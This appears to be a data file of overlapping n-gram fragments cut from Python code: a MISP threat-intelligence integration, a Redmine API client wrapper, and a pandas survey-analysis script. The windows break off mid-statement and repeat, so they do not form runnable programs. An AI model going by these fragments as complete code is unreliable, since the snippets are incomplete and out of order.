file hash of format MD5, SHA-1 or SHA-256') if dbot_type\",\n \") else: return CommandResults(readable_output=f\\\"No attributes found in MISP for the given filters: {args}\\\")\",\n \"else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not\",\n \"\\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids\",\n \"'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2':\",\n \"} MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS =\",\n \"def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event)\",\n \"'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category',\",\n \"import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error):\",\n \"ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level):\",\n \"timestamp else \\\"\\\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \\\"\\\"\\\"\",\n \"event.get(\\\"info\\\"), \\\"Threat Level ID\\\": event.get('threat_level_id'), \\\"Event ID\\\": event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids =\",\n \"is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass #\",\n \"information about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object =\",\n \"'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute',\",\n \"tags configured as suspicious nor malicious will be scored by their event's threat\",\n \"args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as\",\n \"if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] =\",\n \"and Name fields. In addition, returns set of the found tag ids. Some\",\n \"{value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute',\",\n \"of another command (create event for example) Args: event_id (int): Event ID to\",\n \"args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command are\",\n \"scored 3 (i.e malicious). * have tags which configured as suspicious will be\",\n \"'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\"\",\n \"tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag)\",\n \"return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type ==\",\n \"sort the attributes list by the event ids as the greater event ids\",\n \"'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc',\",\n \"Execute a MISP search using the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page\",\n \"tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit):\",\n \"= datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event\",\n \"to 1 it says that it is an event's tag. Otherwise (if it\",\n \"build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as described\",\n \"search if found_tag is one of it's tags. If so, the event will\",\n \"] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips\",\n \"In such case, the score will be BAD if the threat level id\",\n \"exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned\",\n \"sets, it will be removed from the suspicious tag ids set and will\",\n \"= tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related\",\n \"= attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return\",\n \"arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values:\",\n \"return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command\",\n \"feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \\\"\\\"\\\" headers = {'Accept':\",\n \"96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return\",\n \"event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable\",\n \"= args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true'\",\n \"Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url':\",\n \"else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def\",\n \"= args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published =\",\n \"return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type =\",\n \"in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if\",\n \"args for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False)\",\n \"If the data is event's (is_event_level = true) we would like to add\",\n \"'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type':\",\n \"data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type\",\n \"from MISP to the context output format. please note: attributes are excluded from\",\n \"'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] =\",\n \"attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args\",\n \"is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller):\",\n \"please change the given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has to\",\n \"'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email':\",\n \"= attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if\",\n \"event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', [])\",\n \"ID: {event_id} has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event\",\n \"of event or attribute. is_attribute (bool): if the given UUID is an attribute's\",\n \"demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response = PYMISP.search(eventid=event_id,\",\n \"output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter\",\n \"dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from url and publishing\",\n \"'0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not\",\n \"def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP search using the 'event'\",\n \"from an event object, meaning the tags are event's ones. Otherwise, the data\",\n \"'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search =\",\n \"= dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e:\",\n \"attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids\",\n \"return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg\",\n \"the tags are event's ones. Otherwise, the data is attribute's (attribute tags). \\\"\\\"\\\"\",\n \"bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates\",\n \"for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag\",\n \"= event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates\",\n \"argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\",\",\n \"list of attributes' values that match the search query when user set the\"\n]","isConversational":false}}},{"rowIdx":1894,"cells":{"ngram":{"kind":"list like","value":["key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key)","__init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY","from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def","= RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if","self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self)","RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key","self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def","key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self):","settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine):","or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def","if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def","settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def","django.conf import settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator","key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors =",".validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or","settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self):","@property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors","errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors","= key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return","= url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator =","self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list()","Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None):","super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors","errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) ->","as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url","redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self,","errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self,","DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url =","url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator","import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL","def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or","url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url,","instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors +=","errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return","def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors +=","or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property","+= self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool:","key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field","def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors","if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid()","self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors:","def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return self.validator.project_valid(project_id)","self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return","import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None,","+= self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id)","from django.conf import settings from redminelib import Redmine as DefaultRedmine from .validator import","import settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class","class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key =","url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self)","list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors","Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key","score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors","from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url","RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors:","return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool:","self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) ->","= list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return","return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if"],"string":"[\n \"key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key)\",\n \"__init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY\",\n \"from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def\",\n \"= RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if\",\n \"self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self)\",\n \"RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key\",\n \"self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def\",\n \"key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self):\",\n \"settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine):\",\n \"or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def\",\n \"if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def\",\n \"settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def\",\n \"django.conf import settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator\",\n \"key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors =\",\n \".validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or\",\n \"settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self):\",\n \"@property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors\",\n \"errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors\",\n \"= key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return\",\n \"= url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator =\",\n \"self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list()\",\n \"Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None):\",\n \"super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors\",\n \"errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) ->\",\n \"as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url\",\n \"redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self,\",\n \"errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self,\",\n \"DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url =\",\n \"url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator\",\n \"import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL\",\n \"def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or\",\n \"url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url,\",\n \"instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors +=\",\n \"errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return\",\n \"def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors +=\",\n \"or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property\",\n \"+= self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool:\",\n \"key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field\",\n \"def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors\",\n \"if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid()\",\n \"self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors:\",\n \"def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return self.validator.project_valid(project_id)\",\n \"self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return\",\n \"import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None,\",\n \"+= self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id)\",\n \"from django.conf import settings from redminelib import Redmine as DefaultRedmine from .validator import\",\n \"import settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class\",\n \"class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key =\",\n \"url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self)\",\n \"list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors\",\n \"Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key\",\n \"score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors\",\n \"from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url\",\n \"RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors:\",\n \"return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool:\",\n \"self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) ->\",\n \"= list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return\",\n \"return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if\"\n]","isConversational":false}}},{"rowIdx":1895,"cells":{"ngram":{"kind":"list like","value":["Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot","df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\t\\t{self_numeric.mean().round(2)} web devs","{ '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2'","difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that","take the names list from our data dictionary names = [x.name for x","= scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same. Let's","plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want","Yes # - No, I use Python for secondary projects only # Let's","a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev /","ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH)","x.dtype} # same for converters converters = {x.name : x.converter for x in","converters converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df","scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take","ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig","others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode","they thought the most popular answer would be. # Let's see if there's","'col_name' : dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if","5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2,","two categories left: # - Yes # - No, I use Python for","statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're","disqualified from the rest of the survey. So let's drop them here. df","only # Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes'","df['python_main'] == 'Yes' #%% Plot the web dev / data scientist ratio #","estimate the ratio between # the amount of web developers vs the amount","ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations')","a categorical data point, and it's already ordered in the data # dictionary.","ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios')","is a categorical data point, and it's already ordered in the data #","numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1' : 5,","scientist ratio # In the survey, respondents were asked to estimate the ratio","list of names to import usecols = [x.name for x in DATA_DICTIONARY if","- 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate","it's already ordered in the data # dictionary. So we shouldn't sort it","names to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] #","x in DATA_DICTIONARY] # Generate the list of names to import usecols =","Considering we now only have two categories left: # - Yes # -","self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g',","draw a bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111)","#%% Clean up data: remove disqualified users # In the survey, any user",": 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric =","let's drop them here. df = df[df['python_main'] != 'No, I don’t use Python","others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for","developers vs the amount of data scientists. Afterwards # they were asked what","labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels)","x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters converters =","remove disqualified users # In the survey, any user who selected they don't","asked what they thought the most popular answer would be. # Let's see","in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name : x.converter","# Let's draw a bar chart comparing the distributions fig = plt.figure() ax","and it's already ordered in the data # dictionary. So we shouldn't sort","fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH","= np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars","fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH,","#%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null","width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x","dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same","same for converters converters = {x.name : x.converter for x in DATA_DICTIONARY if","recode the ratios to numbers, and calculate the means CONVERSION = { '10:1':","So let's drop them here. df = df[df['python_main'] != 'No, I don’t use","of 'col_name' : dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY","respondents were asked to estimate the ratio between # the amount of web","thought the most popular answer would be. # Let's see if there's a","asked to estimate the ratio between # the amount of web developers vs","pandas as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats","#%% Calculate the predicted totals # Let's recode the ratios to numbers, and","use Python for secondary projects only # Let's turn it into a bool","would be. # Let's see if there's a difference! # This is a","names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove 